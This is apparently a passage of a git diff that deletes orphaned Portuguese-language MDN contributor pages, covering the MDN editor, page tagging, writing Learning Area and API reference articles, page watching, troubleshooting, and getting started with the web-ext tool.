  7. Seleccionar o texto que irá ser usado como resumo.
  8. -
  9. Na ferramenta Estilos, da barra de ferramentas do editor, seleccionar SEO Summary. (Na página de código fonte, isto cria um elemento {{HTMLElement("span")}}  com  class="seoSummary" em volta do texto seleccionado.)
    -
  10. -
  11. Guardar as alterações com um comentário de revisão. O comentário é opcional, mas é encorajado pois torna mais fácil para os outros utilizadores o rastreio de alterações.
  12. -
- -

 

-
-
- -

 

diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html deleted file mode 100644 index 5e6ea6635a..0000000000 --- a/files/pt-pt/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Como marcar páginas de JavaScript -slug: orphaned/MDN/Contribute/Howto/Tag_JavaScript_pages -tags: - - Como - - Guia(2) - - JavaScript - - Metadados MDN -translation_of: MDN/Contribute/Howto/Tag_JavaScript_pages -original_slug: MDN/Contribute/Howto/Marcar_paginas_JavaScript ---- -
{{MDNSidebar}}

A marcação consiste na adição de informação-metadados às páginas, e assim o conteúdo relacionado pode ser agrupado, por exemplo, na ferramenta de pesquisa.

- -
-
Onde é que isso precisa ser feito?
-
Nas páginas relacionadas com JavaScript especificas sem marcações (tags)
-
O que precisa de saber para efetuar a tarefa?
-
Conhecimento de codificação JavaScript básico, tal como saber o que é um 'método' ou uma 'propriedade'.
-
Quais são os passos a efetuar?
-
-
    -
  1. Escolha uma das páginas na lista acima.
  2. -
  3. Clique na hiperligação do artigo para carregar a página.
  4. -
  5. Assim que a página esteja carregada, clique em "EDITAR" perto do seu topo; isto leva-o para o editor da MDN.
  6. -
  7. Deverá ser adicionada pelo menos uma etiqueta de JavaScript. Aqui tem algumas das etiquetas possíveis para adicionar:
  8. -
  9. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    EtiquetaQue páginas para a utilizar
    Methodmethods
    Propertyproperties
    prototypeprototypes
    Object type namemethods of an object; for example String.fromCharCode should have the tag String
    ECMAScript6 and Experimentalfeatures added in a new ECMAScript version
    Deprecateddeprecated features (whose use is discouraged but still supported)
    Obsoleteobsolete features (which are no longer supported in modern browsers)
    othersSee MDN tagging standards for other possible tags to apply
    -
  10. -
  11. Guarde com um comentário.
  12. -
  13. E concluiu!
  14. -
-
-
- -

 

diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html deleted file mode 100644 index 0f40b5e691..0000000000 --- a/files/pt-pt/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Como escrever um artigo para ajudar as pessoas a aprenderem sobre a Web -slug: orphaned/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web -tags: - - Aprender - - Como - - Guia(2) - - Metadados MDN -translation_of: MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web -original_slug: >- - MDN/Contribute/Howto/Como_escrever_um_artigo_para_ajudar_as_pessoas_a_aprenderem_sobre_a_Web ---- -
{{MDNSidebar}}
- -

A Área de Aprendizagem da MDN é o nosso local para os artigos que introduzem os conceitos da Web para os novos programadores. Porque o seu conteúdo, principalmente, tem como alvo os principiantes, é um local excelente para partilhar os seus conhecimentos e ajudar estes a conhecer a Web. É importante certificar-se que os novos programadores podem seguir este conteúdo, por isso nós damos especial atenção a este.

- -

Este artigo explica sobre como escrever as páginas para a Área de Aprendizagem.

- -

Como escrever um artigo da Área de Aprendizagem

- -

To start contributing your knowledge, simply click the big green button, then follow the five steps below. If you're looking for ideas, please take a look at the our team Trello board!

- -

- -

This article might not end up in exactly the right place, but at least it's on MDN. If you need to talk to someone about getting it moved to the right place, please  Contact us.

- -

Passo 1: Write a two-liner

- -

Your article's first sentence needs to summarize what subject you're going to cover, and the second one should go into a few more specifics of the items that you'd put in the article. For example:

- -
-

Whereas {{glossary("HTML")}} files contain structured content, {{Glossary("CSS")}}, another major Web technology, makes the content look the way you want. In this article we are going to cover how this technology works, and how to write your own basic example.

-
- -

Note how the example briefly explains that CSS is a core Web technology used to style pages. That's enough for the reader to get a pretty good idea what the article covers.

- -

Because Learning Area articles primarily target beginners, each article should cover one straightforward topic so as not to overwhelm the reader with too much new information. If you can't summarize the article in one sentence, you might be trying to do too much in one article!

- -

Passo 2: Add a top box

- -

Then add a top box to help readers get their bearings as to where they are in the learning process.  Here's an example of a top box from "Understanding URLs and their structure". You can use this article as an model when writing your own.

- - - - - - - - - - - - -
Pré-requisitos:You need to first know how the Internet works, what a Web server is, and the concepts behind links on the web.
Objetivo:You will learn what a URL is and how it works on the Web.
- -
-
Pré-requisitos
-
What must the reader already know to follow the article? When possible, make each prerequisite a link to another Learning Area article covering the concept (unless it's a really basic article that doesn't require prior knowledge).
-
Objetivos
-
This section briefly states what the reader will learn over the course of the article. This is a bit different than the one-liner; the one-liner summarizes the topic of the article, while the objectives section specifically lays out what the reader can expect to accomplish over the course of the article.
-
- -
-

Nota: To create this table, you can either copy and paste the example table above, or use MDN's editor's table tool. If you choose to use the table tool, you need to specifically add the learn-box CSS class in addition to the default standard-table class. To do this, when you create or edit the table's properties,, go to the "Advanced" panel and set the Stylesheet Classes field to "standard-table learn-box".

-
- -

Passo 3: Write a full description

- -

Next, write a longer description that provides a more thorough overview of the article highlighting the most important concepts. Don't forget to explain why the reader should take the time to learn this topic and read your article!

- -

Passo 4: Dig deeper

- -

When you're done with all that, you can finally dive deeply into the topic. You can structure this part of your article however you like (although feel free to consult our style guide). This is your chance to shine! Go into detail explaining the topic you're writing about. Provide links to the full reference documentation, explain how the technology works in detail, provide syntax and usage details, and so forth. It's up to you!

- -

As a guide, here are some writing tips for beginners:

- -
    -
  • Focus on a single topic. If you feel like you need to cover other topics, it means either you're missing a prerequisite article, or you need to break up your article into more than one.
  • -
  • Use simple English. Avoid technical terms when you can, or at least define them and link to their glossary entries where applicable.
  • -
  • Include straightforward examples to make the theoretical concepts easier to grasp. Many people learn best by example. Rather than writing academic papers, we want beginners to follow the text readily.
  • -
  • Visual aids often can make things easier to digest and carry extra information, so feel free to use images, diagrams, videos, and tables. If you're using diagrams or charts that include text, we encourage you to use {{Glossary("SVG")}} so our translation teams can localize the text.
  • -
- -

Have a look at the first few sections of our Functions — reusable blocks of code article for some good descriptive sections.

- -

Passo 5: Provide "active learning" material

- -

To illustrate the article and help the reader better understand what they're learning, be sure to provide exercises, tutorials, and tasks to accomplish. By having them actively and practically using and experimenting with the concepts your article explains, you can help "lock" the information into their brains.

- -

You can choose to include the examples directly in the page as live samples, or link to them if they don't really work as a live sample. If you're interested in helping create these valuable materials, please read the article Create an interactive exercise to help learning the Web.

- -

If you can't provide links to existing active learning materials (you don't know of any or don't have time to create them), you should add the tag {{Tag("NeedsActiveLearning")}} to the article. That way other contributors can find articles that need active learning materials and perhaps help you come up with them.

- -

Have a look at Active learning: selecting different elements for a live interactive learning exercise, or Active learning: Playing with scope for a different style of exercise that calls upon them to download a template locally and modify it following the provided steps.

- -

Passo 6: Get the article reviewed, and put into the Learning Area navigation menu

- -

After you've written your article, let us know so we can have a look at it, do a review, and suggest improvements. Again, see our Contact us section for the best ways to get in touch.

- -

Another part finalizing your article is to put it in the Learning Area main navigation menu. This menu is generated by the LearnSidebar macro, which you need special privileges to edit, so again, talk ot one of our team about getting it added.

- -

You should at least add it to your page — this is done by adding the macro call \{{LearnSidebar}} into a paragraph at the top of your page.

- -
    -
- -

Artigos sugeridos

- -

So you want to contribute but you're not sure what to write about?

- -

The Learning Area team maintains a Trello board with ideas of articles to write. Feel free to pick one and get to work!

- -

 

- -

 

diff --git a/files/pt-pt/orphaned/mdn/editor/basics/index.html b/files/pt-pt/orphaned/mdn/editor/basics/index.html deleted file mode 100644 index 8399efecf4..0000000000 --- a/files/pt-pt/orphaned/mdn/editor/basics/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Elementos da IU do Editor -slug: orphaned/MDN/Editor/Basics -tags: - - Documentação - - Guía - - MDN - - Metadados da MDN - - Principiante - - editor -translation_of: MDN/Editor/Basics -original_slug: MDN/Editor/Basicos ---- -
{{MDNSidebar}}
- -

O editor WYSIWYG na MDN foi projetado para facilitar ao máximo a criação, edição e melhoramento de artigos e outras páginas em praticamente qualquer lugar do site. A janela do editor, mostrada abaixo, consiste em oito áreas principais. Este guia fornece informação sobre cada secção para que saiba como utilizar todo o nosso ambiente de edição.

- -
-

We're constantly working on improvements to MDN, so there will be times when this documentation or the screen shots below may be slightly out-of-date. We'll periodically update this documentation, though, to avoid it being unusably behind.

-
- -

Screenshot of the editor UI (August 2017) with each section labeled

- -

The editor UI contains the following sections, as shown above. Click a link below to read about that section of the editor.

- - - -

Caixa de edição

- -

The edit box is, of course, where you actually do your writing.

- -

Right-clicking in the editor box offers appropriate additional options depending on the context of your click: right-clicking in a table offers table-related options and right-clicking in a list offers list-related options, for example. By default, the editor uses its own contextual menu when you right-click on the editor. To access your browser's default contextual menu (such as to access the Firefox spell checker's list of suggested corrections), hold down the Shift or Control key (the Command key on Mac OS X) while clicking.

- -

When working in the edit box, you can use its keyboard shortcuts.

- -

Comentário da revisão

- -

After you've made your changes, it's strongly recommended you add a comment to your revision. This is displayed in the revision history for the page, as well as on the Revision Dashboard. It helps to explain or justify your changes to others that may review your work later. To add a revision comment, simply type the note into the revision comment box before clicking either of the Publish buttons at the top or bottom of the page.

- -

There are a few reasons this is helpful:

- -
    -
  • If the reason for your change isn't obvious, your note can explain the reasoning to others.
  • -
  • If your change is technically complex, it can explain to editors the logic behind it; this can include a bug number, for example, that editors can refer to for more information.
  • -
  • If your edit involves deleting a large amount of content, you can justify the deletion (for example, "I moved this content to article X").
  • -
- -

Pedidos de revisão

- -

The MDN community uses reviews to try to monitor and improve the quality of MDN's content. This works by setting a flag on an article indicating that a review is needed. You can learn more about technical reviews and editorial review in the How to guides.

- -

To request a review on the article you've worked on, toggle on the checkbox next to the type of review that's needed. Technical reviews should be requested any time you make changes to the explanation of how something technical works, while editorial reviews are a good idea when you've made changes and would like someone to review your writing and style choices.

- -

While selecting a review checkbox adds the article to the lists of those needing technical review or needing editorial review, it does not guarantee that anyone will immediately review the article. For technical reviews, it's a good idea to directly contact a subject-matter expert in the relevant technical area. For editorial reviews, you can post in the MDN discussion forum to request that someone review your changes.

- -

Be sure to click one of the Publish buttons after making your selections, to commit your review request.

- -

Consulte também

- - - - diff --git a/files/pt-pt/orphaned/mdn/editor/index.html b/files/pt-pt/orphaned/mdn/editor/index.html deleted file mode 100644 index 3c9cd7c245..0000000000 --- a/files/pt-pt/orphaned/mdn/editor/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Guia para o editor da IU da MDN -slug: orphaned/MDN/Editor -tags: - - Documentação - - Guía - - Landing - - MDN - - Metadados MDN -translation_of: MDN/Editor -original_slug: MDN/Editor ---- -
{{MDNSidebar}}
- -

O editor WYSIWYG (o que vê é o que obtém) para a wiki dos Documentos da Web da MDN torna fácil a contribuição para novo conteúdo. Este guia mostra-lhe como utilizar o editor e melhorar a sua produtividade. Por favor, leia e concorde com os Termos da Mozilla antes de editar ou criar novas páginas.

- -

O guia de estilo de escrita da MDN oferece informação sobre como formatar e estilizar o próprio conteúdo, incluindo as nossas regras de gramática e ortografia preferidas.

- -

{{LandingPageListSubpages}}

- -

{{EditorGuideQuicklinks}}

diff --git a/files/pt-pt/orphaned/mdn/structures/api_references/index.html b/files/pt-pt/orphaned/mdn/structures/api_references/index.html deleted file mode 100644 index e599eea2eb..0000000000 --- a/files/pt-pt/orphaned/mdn/structures/api_references/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: API references -slug: orphaned/MDN/Structures/API_references -tags: - - API - - Contribute - - Guide - - NeedsTranslation - - Reference - - TopicStub -translation_of: MDN/Structures/API_references -original_slug: MDN/Structures/API_references ---- -
{{MDNSidebar}}
{{IncludeSubnav("/en-US/docs/MDN")}}
- -

Client-side JavaScript APIs form a large part of the technology available on the web, and MDN includes extensive reference material to explain what functionality is available in these APIs, and how to use it. In this set of guides we explain how to create API reference material on MDN.

- -

Prerequisite resources

- -

Before starting to document an API, you should have available:

- -
    -
  1. The latest spec: Whether it is a W3C Recommendation or an early  editor's draft, you should refer to the latest available draft of the  spec that covers (or specs that cover) that API. To find it, you can usually do a Web search. The latest  version will often be linked to from all versions of the spec, listed under "latest draft" or similar.
  2. -
  3. The latest modern web browsers: These should be experimental/alpha builds such as Firefox Nightly/Chrome Canary that are more likely to support the features you are documenting. This is especially pertinent if you are documenting a nascent/experimental API.
  4. -
  5. Demos/blog posts/other info: Find as much info as you can. It is useful to start by spending time familiarizing yourself with how the API works — learn what the main interfaces/properties/methods are, what the primary use cases are, and how to write simple functionality with it.
  6. -
  7. Useful engineering contacts: It is really useful to find yourself a friendly engineering contact to ask questions about the spec, someone who is involved in the standardization of the API, or its implementation in a browser. Good places to find them are: -
      -
    • Your internal company address book, if you work for a relevant company.
    • -
    • A public mailing list that is involved in the discussion of that API,  such as Mozilla's dev-platform or dev-webapi lists, or a W3C list like public-webapps.
    • -
    • The spec itself. For example, the Web Audio API spec lists the authors and their contact details at the top.
    • -
    -
  8. -
- -

High level structure

- -
-
What does an API reference need?
-
This article explains what pages are required for a complete API reference.
-
Page types
-
There are a number of types of pages that are used repeatedly on MDN. This article describes these page types, their purpose, and gives examples of each and templates to use when creating a new page.
-
- -

Individual page features

- -

These articles explain how to create the individual page features required for API reference pages.

- -
-
API reference sidebars
-
When including a sidebar on your MDN API reference articles, you are able to customize it so that it displays links to related Interfaces, tutorials, and other resources relevant just to that API. This article explains how.
-
Syntax sections
-
The syntax section of an MDN reference page contains a syntax box defining the exact syntax that a feature has (e.g. what parameters can it accept, which ones are optional?) This article explains how to write syntax boxes for refererence articles.
-
Code examples
-
On MDN, you'll see numerous code examples inserted throughout the pages to demonstrate usage of web platform features. This article discusses the different mechanisms available for adding code examples to pages, along with which ones you should use and when.
-
Specification tables
-
Every reference page on MDN should provide information about the specification or specifications in which that API or technology was defined. This article demonstrates what these tables look like and explains how to construct them.
-
Compatibility tables
-
MDN has a standard format for compatibility tables for our open web documentation; that is, documentation of technologies such as the DOM, HTML, CSS, JavaScript, SVG, and so forth, that are shared across all browsers. This article covers how to use our features to add compatibility data to MDN pages.
-
diff --git a/files/pt-pt/orphaned/mdn/structures/api_references/what_does_an_api_reference_need/index.html b/files/pt-pt/orphaned/mdn/structures/api_references/what_does_an_api_reference_need/index.html deleted file mode 100644 index 170c510aec..0000000000 --- a/files/pt-pt/orphaned/mdn/structures/api_references/what_does_an_api_reference_need/index.html +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: O que é que uma referência de API precisa? -slug: orphaned/MDN/Structures/API_references/What_does_an_API_reference_need -translation_of: MDN/Structures/API_references/What_does_an_API_reference_need -original_slug: MDN/Structures/API_references/O_que_e_que_uma_referencia_de_API_precisa ---- -
{{MDNSidebar}}

Este artigo explica quais as páginas que são necessárias para uma referência completa da API .

- -
-

Nota: It is a good idea to create the list of documents you need to write or update when you are working on an API reference, then check them off as you complete them.

-
- -

API pages at a glance

- -

An API reference will generally contain the following pages. You can find more details of what each page contains, examples, and templates, in our Page types article.

- -
    -
  1. Overview page
  2. -
  3. Interface pages
  4. -
  5. Constructor pages
  6. -
  7. Method pages
  8. -
  9. Property pages (including event handlers properties)
  10. -
  11. Event pages
  12. -
  13. Concept/guide pages
  14. -
  15. Examples
  16. -
- -
-

Nota: We'll be referring to the Web Audio API for examples in this article.

-
- -
-

Nota: To create a page as specified below, the easiest way is to go to the parent page you want it to hang off, and choose Cog icon > New sub-article. If you haven't got this option available on your MDN interface, you'll need to request this privilege (ask at mdn-admins@mozilla.org), or ask another MDN contributor to create them for you.

-
- -

Página de sinopse

- -

A single API overview page is used to describe the role of the API, its top-level interfaces, related features contained in other interfaces, and other high level details. Its name and slug should be the name of the API plus "API" on the end. It is placed at the top level of the API reference, as a child of https://developer.mozilla.org/en-US/docs/Web/API.

- -

Example:

- - - -

Páginas da interface

- -

Each interface will have its own page too, describing the purpose of the interface, listing any members (constructors, methods, properties, etc. it contains), and showing what browsers it is compatible with. A page's name and slug should be the name of the interface, exactly as written in the spec. Each page is placed at the top level of the API reference, as a child of https://developer.mozilla.org/en-US/docs/Web/API.

- -

Exemplos:

- - - - - -
-

Nota: We document every member appearing in the interface. You should bear the following rules in mind:

- -
    -
  • We document methods defined on the prototype of an object implementing this interface (instance methods), and methods defined on the actual class itself (static methods). On the rare occasions that they both exist on the same interface, you should list them in separate sections on the page (Static methods/Instance methods). Usually only instance methods exist, in which case you can put these under the title "Methods".
  • -
  • We do not document inherited properties and methods of the interface: they are listed on the respective parent interface. We do hint at their existence though.
  • -
  • We do document properties and methods defined in mixins, though we use the mixin name as interface name. (This is not optimal as the mixin name will not appear in the console, but it prevents the duplication of documentation. We may revisit this in the future.)
  • -
  • Special methods like the stringfier (toString()) and the jsonizier (toJSON()) are also listed if they do exist.
  • -
  • Named constructors (like Image()  for {{domxref("HTMLImageElement")}} ) are also listed, if relevant.
  • -
-
- -

Páginas de constructor

- -

Each interface has 0 or 1 constructors, documented on a subpage of the interface's page. It describes the purpose of the constructor and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug is the name of the constructor, which is exactly the same as the interface name, and the title is interface name, dot, constructor name, then parentheses on the end.

- -

Example:

- - - -

Páginas de propriedade

- -

Each interface has zero or more properties, documented on subpages of the interface's page. each page describes the purpose of the property and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug is the name of the property, and the title is interface name, dot, then property name.

- -

Examples:

- - - - - -
-

Nota: Event handler properties are treated in the same way as regular properties; they are generally listed in a separate section on the interface page though.

-
- -
    -
- -

Páginas de método

- -

Each interface has zero or more methods, documented on subpages of the interface's page. each page describes the purpose of the method and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug is the name of the method, and the title is interface name, dot, method name, then parentheses.

- -

Examples:

- - - - - -

Páginas de evento

- -

Each event handler property you create will have a corresponding event page, describing the event that causes the handler to fire, documented on a subpage of https://developer.mozilla.org/en-US/docs/Web/Events. Each page describes the purpose of the event and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug and title is the name of the event.

- -

Example:

- - - -

Páginas de conceito/guia

- -

Most API references have at least one guide and sometimes also a concept page to accompany it. At minimum, an API reference should contain a guide called "Using the name-of-api", which will provide a basic guide to how to use the API. More complex APIs may require multiple usage guides to explain how to use different aspects of the API.

- -

If required, you can also including a concepts article called "name-of-api concepts", which will provide explanation of the theory behind any concepts related to the API that developers should understand to effectively use it.

- -

These articles should all be created as subpages of the API overview page. For example, the Web Audio has four guides and a concept article:

- - - -

Exemplos

- -

You should create some examples that demonstrate at least the most common use cases of the API. You can put these anywhere that is appropriate, although the recommended place is the MDN GitHub repo.

diff --git a/files/pt-pt/orphaned/mdn/tools/page_watching/index.html b/files/pt-pt/orphaned/mdn/tools/page_watching/index.html deleted file mode 100644 index 8d5855a4ab..0000000000 --- a/files/pt-pt/orphaned/mdn/tools/page_watching/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Subscrição de página -slug: orphaned/MDN/Tools/Page_watching -tags: - - Ferramentas - - Guia(2) - - Metadados MDN - - Nível de Página -translation_of: MDN/Tools/Page_watching -original_slug: MDN/Tools/Vigiar_pagina ---- -
{{MDNSidebar}}
- -

A great way to stay involved with content on MDN that you care about is to subscribe to pages, so that you're notified via email when the pages get changed. Every page on MDN offers a button offering options to monitor the page (and optionally its subpages) for changes. To access these options, hover over the Watch button to disclose the Watch menu, which looks like this:

- -

Screenshot of MDN's Watch menu

- -

Then choose the option specifying whether to watch only that one page or that page and its sub-pages, as described in the following sections.

- -

Subscrever uma página

- -

To subscribe to a single page, simply hover the mouse cursor over the Watch menu to display the Watch menu as described above, then select the first option, "Subscribe to Page Title". Once you've done this, each time a user makes a change to that one page, you'll get email describing the change.

- -

Vigiar várias páginas

- -

Choosing the second option in the Watch menu, "Subscribe to Page Title and all its sub-articles", will register you to receive email for each change made to that page as well as all of its sub-pages. This includes sub-pages added after you requested the subscription, so if more sub-pages are created in the future, you'll get notifications for those as well.

- -

Cancelar a subscriçção de uma página

- -

If you eventually need to unsubscribe from, or stop watching, a page, open the Watch menu again, and see that the "Subscribe" link has changed to "Unsubscribe." Click that, and you're unsubscribed!

- -

Mensagens de alteração de página

- -

Each time a change is saved to the page, you'll get an email. These emails come from notifications@developer.mozilla.org and are sent to the email address you used when registering your MDN account. Each message has a title of the form:

- -
[MDN] Page "Page title" changed by username
- -

The message starts with a repeat of the information in the title, then presents a standard diff of the content, showing exactly what changed. The changes are shown as HTML source code, which can be a little weird to read if you're not used to it in the context of MDN.

- -

After the diff itself comes a list of useful links that you can use to act on the change in some way, including:

- -
    -
  • View the MDN profile of the user that made the change
  • -
  • Compare the previous and new versions of the page using MDN's on-site history feature
  • -
  • View the article itself in your browser
  • -
  • Edit the article
  • -
  • See the article's history
  • -
- -

At the end of the email you see text telling you what subscription generated the email, such as "You are subscribed to edits on: HTML element reference and all its sub-articles", as well as a link you can click to unsubscribe from the messages for this watch request.

diff --git a/files/pt-pt/orphaned/mdn/tools/template_editing/index.html b/files/pt-pt/orphaned/mdn/tools/template_editing/index.html deleted file mode 100644 index 4a83a96a2f..0000000000 --- a/files/pt-pt/orphaned/mdn/tools/template_editing/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Edição de modelo -slug: orphaned/MDN/Tools/Template_editing -tags: - - Ferramentas - - Guía - - Metadados MDN -translation_of: MDN/Tools/Template_editing -original_slug: MDN/Tools/Edição_de_modelo ---- -
{{MDNSidebar}}

Na MDN, os modelos esccritos em KumaScript são utilziados por uma geração de conteúdo automatizado e personalização dentro das páginas. Cada modelo é um ficheiro separado sob a diretoria de macros do repositório de KumaScript no GitHub.

- -

Qualquer pessoa que edite páginas da wiki da MDN podem invocar modelos via macros nos artigos da MDN.Qualquer pessoa pode criar e editar modelos via repositório de KumaScript no GitHub, utilizando práticas de código aberto padrão (fork repositório, criar um ramo, efetuar alterações, e submeter um pedido de submissão para revisão). Note que enviar um pedido de submissão é atualmente a única maneira para atualizar as strings traduzidas nos modelos que as contêm .

diff --git a/files/pt-pt/orphaned/mdn/troubleshooting/index.html b/files/pt-pt/orphaned/mdn/troubleshooting/index.html deleted file mode 100644 index a4e89f6f28..0000000000 --- a/files/pt-pt/orphaned/mdn/troubleshooting/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Resolução de Problemas -slug: orphaned/MDN/Troubleshooting -tags: - - resolução de problemas -translation_of: MDN/Troubleshooting -original_slug: MDN/Troubleshooting ---- -
{{MDNSidebar}}

Este artigo descreve problemas comuns que podem ocorrer durante a utilização da MDN, e como os resolver.

- -

Não consegue guardar uma página

- -
-
Sintoma
-
You try to save some change that you have made, and you get an error message indicating that your change couldn't be saved.
-
Causa
-
Your change has been caught in MDN's spam trap.
-
Solução
-
Save a copy of your revision, and send an email to the MDN site administrators, as instructed in the error message. One of the admins will verify that it is, in fact, a legitimate change, then train the spam filter not to block edits like yours, and add you to a whitelist so that you don't encounter this problem in the future.
-
- -

As suas alterações não aparecem na página

- -
-
Sintoma
-
You make some changes to an article and click Publish; the changes that you just made are not reflected in the normal view of the page.
-
Causa
-
The page content is cached on the server, and has not been refreshed since the page was changed.
-
Solução
-
Force a refresh of the page in your browser (for example, Shift+Reload). You might see the updated content, or you might see a message indicating that an update to the page is being processed. In the second case, wait a few minutes and refresh the page again.
-
- -

Macro-generated content is out of date

- -
-
Sintoma
-
You see a page that contains content generated by a macro. You know that this macro has been updated and put into production, but the page is showing outdated values.
-
Causa
-
The macro output is cached, and has not been refreshed since the macro was updated.
-
Solução
-
Force a refresh of the page in your browser (for example, Shift+Reload). You might see the updated output, or you might see a message indicating that an update to the page is being processed. In the second case, wait a few minutes and refresh the page again.
-
- -

Erro de scripting numa página

- -
-
Sintoma
-
You see a scary red box like this on a page:
- There was a scripting error on this page. While it is being addressed by site editors, you can view partial content below. More information about this error
-
Causa
-
This is caused by a Kumascript error in a macro on the page. This issue is less common in production now that macros are stored on Github and go through a review and testing process before being put into production. You might see it if you modify a macro call or its arguments in a way that breaks the macros. You might also see it  if you are editing macros on a local build of the MDN platform.
-
Solução
-
If you modified a macro call, you can check the name and parameters of the macro against the Kumascript Github repo. If you are in the midst of modifying the macro in question, Troubleshooting Kumascript errors may be helpful.
-
- -

Scripting error while previewing a page

- -
-
Sintoma
-
You are editing a page, and click the Preview button. The preview of the page contains a scripting error message (as shown in the previous section).
-
Causa
-
Either there was an existing scripting error in the page you were editing, or you have introduced an error, possibly by changing arguments to a macro.
-
Solução
-
-

Be assured that as long as you have not modified or added any macros or templates in the page, you can safely ignore this error; you can expect it to go away when the edited page is finally saved and viewed normally again (unless the error was already there in the normal view).

- -

If you are still unsure whether you introduced the error, then you can open a copy of the normal page in a new window, enter Edit mode, and immediately click Preview. If any errors occur now, you can be confident that you did not cause them, and that they will likely disappear as previously described. As for your changes, if these new errors are the same as the old errors from the old window, then  close the new window and continue working in the old one.  However, if they are different errors, then you indeed might have damaged something in the old window, so just start carefully copying your changes to the new window, and click Preview after each copy.  If the old errors suddenly appear here too, then your last changes have likely caused them, and you should carefully examine that work.  Finally, as a side benefit, if you click Preview frequently and always leave that Preview window open, you will have a quick but unsaved copy of most of your changes in case the editor fails or somehow loses your work (as may happen when trying to use Discard.)

- -

 

-
-
 
-
diff --git a/files/pt-pt/orphaned/melhorias_do_gerenciador_de_downloads_no_firefox_3/index.html b/files/pt-pt/orphaned/melhorias_do_gerenciador_de_downloads_no_firefox_3/index.html deleted file mode 100644 index 9a68b0c3a3..0000000000 --- a/files/pt-pt/orphaned/melhorias_do_gerenciador_de_downloads_no_firefox_3/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Melhorias do Gerenciador de Downloads no Firefox 3 -slug: orphaned/Melhorias_do_Gerenciador_de_Downloads_no_Firefox_3 -tags: - - Firefox 3 - - Gerenciador_de_Downloads -original_slug: Melhorias_do_Gerenciador_de_Downloads_no_Firefox_3 ---- -

O Firefox 3 oferece melhoramentos ao Gerenciador de Downloads que permitem múltiplas listas de progresso, o uso da API Storage para gerenciamento de dados, resumo do download e mais. Em adição, você pode aumentar ou substituir a interface do Gerenciador de Downloads implementando a nova interface {{ Interface("nsIDownloadManagerUI") }}.

-

{{ Note("Estas mudanças irão exigir algumas modestas revisões para usar o código do Gerenciador de Downloads; vários outros métodos tiveram mudanças menores.") }}

-

Interfaces do Gerenciador de Downloads

-
{{ Interface("nsIDownloadManager") }}
Dá acesso a aplicações e extensões do Gerenciador de Downloads, o que lhes permite adicionar e remover arquivos da lista de download, recuperar informações sobre downloads passados e atuais, e solicitar notificações quanto ao progresso dos downloads.
{{ Interface("nsIDownload") }}
Descreve um arquivo na fila de download; estes arquivos podem correntemente estar listados para donwload, ativamente sendo baixados ou finalizados.
{{ Interface("nsIDownloadProgressListener") }}
Aplicações e extensões implementam esta interface das mudanças no estado dos downloads.
{{ Interface("nsIDownloadManagerUI") }}
Implementa esta interface a substituir ou aumentar a interface de usuário do Gerenciador de Downloads.
-
-

Outra documentação do Gerenciador de Downloads

-
Download Manager preferences
Este artigo lista as preferências usadas pelo Gerenciador de Downloads, bem como os seus valores padrão.
The Download Manager schema
Este artigo descreve o formato de banco de dados usado para armazenar e rastrear as informações sobre cada download.
-
-

Exemplos

-
Monitoring downloads
Um exemplo mostrando como usar as novas APIs do Gerenciador de Downloads para criar uma janela de log do download que mostra todos os downloads passados e atuais e seus estados, incluindo a hora em que foram iniciados e finalizados, a velocidade do download e mais. Também demonstra a API Storage.
-
-

Categorias

-

Interwiki Language Links

-

{{ languages( { "en": "en/Download_Manager_improvements_in_Firefox_3", "ja": "ja/Download_Manager_improvements_in_Firefox_3" } ) }}

diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/getting_started_with_web-ext/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/getting_started_with_web-ext/index.html deleted file mode 100644 index 9e93d69a4c..0000000000 --- a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/getting_started_with_web-ext/index.html +++ /dev/null @@ -1,305 +0,0 @@ ---- -title: Primeiros passos com web-ext -slug: orphaned/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext -tags: - - Extensão da Web - - Ferramentas - - Guía - - Instalação - - Testes - - empacotamento - - web-ext -translation_of: Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext -original_slug: Mozilla/Add-ons/WebExtensions/Primeiros_passos_com_web-ext ---- -
{{AddonSidebar}}
- -

web-ext é uma ferramenta da linha de comando desenhada para acelerar várias partes do processo de desenvolvimento da extensão, tornado o desenvolvimento mais rápido e fácil. Este artigo explica como instalar e utilizar web-ext.

- -

Instalação

- -

web-ext is a node-based application that you install with the nodejs/npm tool. Install web-ext using the following command:

- -
npm install --global web-ext
- -

web-ext requires the current LTS (long-term support) version of NodeJS.

- -

To test whether the installation worked run the following command, which displays the web-ext version number:

- -
web-ext --version
- -

Utilizar web-ext

- -

Before you start using web-ext, locate an example extension to use—if you don't have one, use one from the webextensions-examples repo.

- -

Testar uma extensão

- -

Test an extension in Firefox by cd'ing into your extension's root directory and entering:

- -
web-ext run
- -

This starts Firefox and loads the extension temporarily in the browser, just as you can on the about:debugging page.

- -

See the run reference guide to learn more.

- -

Recarregamento automático da extensão

- -

